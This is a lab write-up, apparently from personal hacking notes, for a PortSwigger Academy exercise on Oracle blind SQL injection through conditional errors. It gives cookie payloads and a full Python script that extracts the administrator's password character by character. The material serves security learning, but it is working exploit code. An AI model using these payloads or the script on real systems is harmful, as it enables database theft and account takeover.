> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/sql-injection/blind-sql-injection-with-conditional-errors.md).

# Blind SQL Injection with Conditional Errors

Blind SQL Injection with Conditional Errors notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Blind SQL Injection with Conditional Errors

**Background:** the value of the `TrackingId` cookie is injected into an SQL query. The application does not return the result directly, but triggers a \*\* HTTP error 500\*\* when SQL expression causes an exception (here `TO_CHAR(1/0)` on Oracle). We use this string: if the condition is true → error 500, otherwise answer 200. The base contains a `users(username, password)` table. Objective: To extract the password from `administrator` and connect.

#### Principe Technique (rapide)

* The cookie contains an expression that forces an error if the condition is true, e.g. (Oracle):

{% code overflow="wrap" %}

```sql
' || (SELECT CASE WHEN <condition> THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') || '
```

{% endcode %}

* If `<condition>` is true → request causes division by zero → application returns `500` → bit = 1. Otherwise `200` → bit = 0.
* Use `SUBSTR`/`LENGTH` to extract character by character.

#### Example Payloads (Oracle)

* Verify the existence of the user:

  ```sql
  ' || (SELECT CASE WHEN (SELECT 'a' FROM users WHERE username='administrator') = 'a' THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
  ```
* Tester longueur = 20 :

  ```sql
  ' || (SELECT CASE WHEN (SELECT LENGTH(password) FROM users WHERE username='administrator') = 20 THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
  ```
* Test a character in position i:

  ```sql
  ' || (SELECT CASE WHEN (SELECT SUBSTR(password, i, 1) FROM users WHERE username='administrator') = 'X' THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
  ```

(`FROM dual` / structure can be adapted according to the request injected into the application.)

### Automated Script

```python
#!/usr/bin/env python3

import requests
import signal
import sys
import time
from string import ascii_letters, digits

# Clean Ctrl+C handling
def def_handler(sig, frame):
    print("/nInterrupted. Exiting./n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)

# --- Configuration ---
MAIN_URL = "https://0a8a00f80354f1b1803108ce00e700b6.web-security-academy.net/"
TRACKING_BASE = "HNDtc0c9ybTvqk9m"   # legitimate part of the TrackingId
SESSION_VALUE = "ZXuQT8xMsrBLG8KFDqvrccJDGFe8Z6Ra"
TIMEOUT = 6
SLEEP_BETWEEN = 0.15
MAX_PW_LEN = 50           # max length to test
ALPHABET = ascii_letters + digits + "!@#$%_-{}[]()"  # adjust if you know the alphabet

HEADERS = {"User-Agent": "Mozilla/5.0"}

# --- Utility functions ---
def send_payload(payload):
    cookies = {"TrackingId": payload, "Session": SESSION_VALUE}
    try:
        r = requests.get(MAIN_URL, cookies=cookies, headers=HEADERS,
                         timeout=TIMEOUT, allow_redirects=False, verify=True)
        return r.status_code
    except requests.exceptions.RequestException as e:
        print(f"[!] request failed: {e}")
        return None

def make_error_payload(condition_sql):
    """
    Builds the complete TrackingId for Oracle:
    ex: TRACKING_BASE' || (SELECT CASE WHEN <cond> THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') || '
    """
    # Wrap the condition in the subquery that returns one row for admin.
    payload = (f"{TRACKING_BASE}'|| (SELECT CASE WHEN ({condition_sql}) "
               f"THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') ||'")
    return payload

# --- Step 1: detect password length (optional but useful) ---
def detect_length(max_len=MAX_PW_LEN):
    print("[*] Detecting password length...")
    for n in range(1, max_len + 1):
        cond = f"(SELECT LENGTH(password) FROM users WHERE username='administrator') = {n}"
        payload = make_error_payload(cond)
        code = send_payload(payload)
        if code == 500:
            print(f"[+] Detected length: {n}")
            return n
        time.sleep(SLEEP_BETWEEN)
    print("[!] No length detected <= max_len; consider increasing max_len")
    return None

# --- Step 2: character-by-character extraction ---
def extract_password(length=None):
    if length is None:
        length = detect_length()
        if length is None:
            # fallback: try positions until failure
            length = MAX_PW_LEN

    password = ""
    print(f"[*] Extraction (assumed length = {length})")
    for pos in range(1, length + 1):
        found = False
        for ch in ALPHABET:
            # SUBSTR(password, pos, 1) = 'ch'
            cond = f"(SELECT SUBSTR(password, {pos}, 1) FROM users WHERE username='administrator') = '{ch}'"
            payload = make_error_payload(cond)
            code = send_payload(payload)
            if code == 500:
                password += ch
                print(f"[+] pos={pos} -> '{ch}' (password so far: {password})")
                found = True
                time.sleep(SLEEP_BETWEEN)
                break
            # short pause between attempts
            time.sleep(0.01)
        if not found:
            print(f"[-] No character found at position {pos} -> probable end. Password: {password}")
            break
    return password

if __name__ == "__main__":
    # detect length then extract
    detected_len = detect_length(max_len=30)   # adjust max_len according to the environment
    recovered = extract_password(length=detected_len)
    print(f"/n[=] Recovered password (partial/estimated): {recovered}/n")
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-585f1015331c57ed2e5f870e7880d9048234958c%2F%7B3C0B8C0B-3EB1-47F4-BD9A-BB49DE8B3E9B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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